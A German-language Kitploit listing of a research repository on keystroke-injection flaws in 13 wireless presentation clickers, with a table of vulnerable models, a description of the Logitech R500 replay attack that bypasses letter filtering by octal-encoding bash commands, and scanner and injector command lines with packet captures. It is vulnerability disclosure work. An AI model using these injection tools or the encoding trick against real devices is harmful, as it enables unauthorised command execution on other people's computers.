Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
presentation-clickers — Sicherheitslücken bei der Tastatureingabe-Injektion in drahtlosen Präsentations-Klickern | Kitploit
Tools/GitHubGitHub/marcnewlin/presentation-clickers
Embedded-System-SicherheitExploitationReverse EngineeringDrahtlose SicherheitHardware-HackingPenetrationstestsHardware- & IoT-Sicherheit
GitHubmarcnewlin/presentation-clickers

presentation-clickers

Sicherheitslücken bei der Tastatureingabe-Injektion in drahtlosen Präsentations-Klickern

Repository anzeigen
961422vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Präsentationsklicker

Ich hatte Lust auf ein wenig RF-Reverse-Engineering, also habe ich ein paar Präsentationsklicker bestellt und hatte etwas Spaß.

Dies ist ein Fork von nrf-research-firmware (den ich vor einigen Jahren bei Bastille geschrieben habe). Ich habe Unterstützung für ein paar neue Transceiver/Protokolle hinzugefügt und Keystroke-Injection-PoCs für 13 gängige Präsentationsklicker enthalten.

Historie

  • 2019-04-20 - erste Charge veröffentlicht (8 Geräte)
  • 2019-04-21 - zweite Charge veröffentlicht (5 Geräte)

Geräte, die für Keystroke-Injection anfällig sind

HerstellerModellProtokollRFICHinzugefügt
AmazonBasicsP-001AmazonBasics P-001nRF242019-04-20
CanonPR100-RCanon PR100-RPL11672019-04-20
FunpickWireless PresenterHS304HS3042019-04-20
AMERTEERWireless PresenterHS304HS3042019-04-20
BEBONCOOLD100HS304HS3042019-04-20
ESYWENWireless PresenterHS304HS3042019-04-20
Red Star TechPR-819HS304HS3042019-04-20
DinoFireD06-DF-USHS304HS3042019-04-20
TBBSCDSIT-60TBBSC DSIT-60BK24512019-04-21
RiiWireless PresenterRii Wireless PresenterBK24512019-04-21
LogitechR400Logitech UnencryptednRF242019-04-21
LogitechR800Logitech UnencryptednRF242019-04-21
LogitechR500Logitech EncryptednRF242019-04-21

Protokolle

Logitech Encrypted

Übersicht

Dies ist das Standard-Protokoll für verschlüsselte Logitech-Tastaturen, wie es vom R500 verwendet wird. Es ist gewissermaßen anfällig für den „verschlüsselten Keystroke-Injection"-Angriff, den ich im Rahmen des MouseJack-Projekts für Logitech-Unifying-Tastaturen dokumentiert habe.

Ich sage gewissermaßen, weil nicht alle HID-Scancodes akzeptiert werden. Konkret werden 0x04-0x1D (A-Z) durch 0x00 ersetzt, wenn der Dongle das Paket an den Host-Computer sendet. Das bedeutet, wir können alles injizieren, was wir wollen, solange es kein Buchstabe ist. Die andere Ausnahme ist, dass Strg-Tastenkombinationen erlaubt sind, auch wenn sie Buchstaben enthalten.

Eine effektive Keystroke-Injection über den R500 erfordert, dass wir ein wenig kreativ werden.

Nehmen wir an, das Ziel befindet sich in einer Bash-Sitzung. In Bash können wir unsere Zeichen in Oktal kodieren und so Befehle kodieren, die Buchstaben enthalten, die unser Ziel ausführen soll.

Zum Beispiel wird ping google.com als $'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155' kodiert. Wenn wir diesen String an eine Bash-Sitzung senden und dann enter senden, wird der Befehl ping google.com auf dem Zielrechner ausgeführt.

Geräteerkennung

Die Adresse Ihres Logitech R500 finden Sie mit nrf24-scanner wie folgt:

sudo ./tools/nrf24-scanner.py -c {2..74..3} -l

Die Pakete sollten in etwa so aussehen:

[2019-04-21 13:11:52.507]  62   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 13:11:52.515]  62   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 13:11:52.523]  62  22  85:D1:9D:FE:07  00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81

Injektion

Injektion ist möglich, weil der Dongle keine inkrementierenden AES-Zähler erzwingt, sodass Sie Pakete wiedergeben können. Ein OTA-gesendetes Paket besteht aus einer USB-HID-Nutzlast, die im AES-Counter-Modus verschlüsselt wurde, gefolgt von dem Zähler. Wenn Sie eine Taste am Präsentationsklicker drücken, erzeugt dieser ein Key-down-Paket und ein Key-up-Paket. Das Key-up-Paket besteht komplett aus Nullen, was uns schönes, sauberes Schlüsselmaterial liefert, das wir wiederverwenden, mit unserer eigenen Nutzlast per XOR verknüpfen und über OTA senden können.

Es sollte nicht schwer sein, den Prozess zu automatisieren: auf einen Tastendruck zu lauschen, das zweite (Key-up-)Paket herauszuziehen und es automatisch als Referenz für das Schlüsselmaterial zu verwenden. Aber ich bin faul, also müssen Sie zuerst selbst einen Tastendruck beobachten, was wie folgt aussieht:

[2019-04-21 16:02:56.451]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.459]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.468]  65  22  85:D1:9D:FE:07  00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9
[2019-04-21 16:02:56.475]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.507]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.516]  65  22  85:D1:9D:FE:07  00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A
[2019-04-21 16:02:56.524]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.532]  65   5  85:D1:9D:FE:07  00:40:00:08:B8

Das zweite 22-Byte-Paket ist das Key-up-Paket.

Entfernen Sie das letzte Byte der Nutzlast und kopieren Sie den String in logitech.py, wobei Sie KEYUP_REF ersetzen.

(Es sollte nicht funktionieren, ohne KEYUP_REF zu aktualisieren, aber falls es doch funktioniert, lassen Sie es mich bitte wissen!)

Injektion

Injizieren Sie die als Oktal kodierte Bash-Tastenfolge ping google.com in einen bestimmten Logitech-R500-Dongle (Adresse 85:D1:9D:FE:07):

sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07

Logitech Unencrypted

Übersicht

Dies ist das standardmäßige unverschlüsselte Logitech-Protokoll, das vom R400/R800 verwendet wird.

Geräteerkennung

Die Adresse Ihres Logitech R400/R800 finden Sie mit nrf24-scanner wie folgt:

sudo ./tools/nrf24-scanner.py -c {2..74..3} -l

Die Pakete sollten in etwa so aussehen:

[2019-04-21 12:58:43.466]  32   0  9D:9E:95:52:07  
[2019-04-21 12:58:43.620]  32  10  9D:9E:95:52:07  00:C1:00:00:00:00:00:00:00:3F

Injektion

Injizieren Sie die Test-Tastenfolge in einen bestimmten Logitech-R400/R800-Dongle (Adresse 9D:9E:95:52:07):

sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07

Rii Wireless Presenter

Übersicht

Der Rii Wireless Presenter (Stiftform) basiert auf dem BK2451 (der offenbar ein nRF24-Klon ist). Angesichts der Verbreitung von Schwestergeräten sieht das nach einem generischen Protokoll aus, daher werde ich es wahrscheinlich neu kategorisieren, sobald ich mehr Daten habe.

Es ist funktional eine unverschlüsselte drahtlose Tastatur und anfällig für Keystroke-Injection.

PHY

Tool herunterladen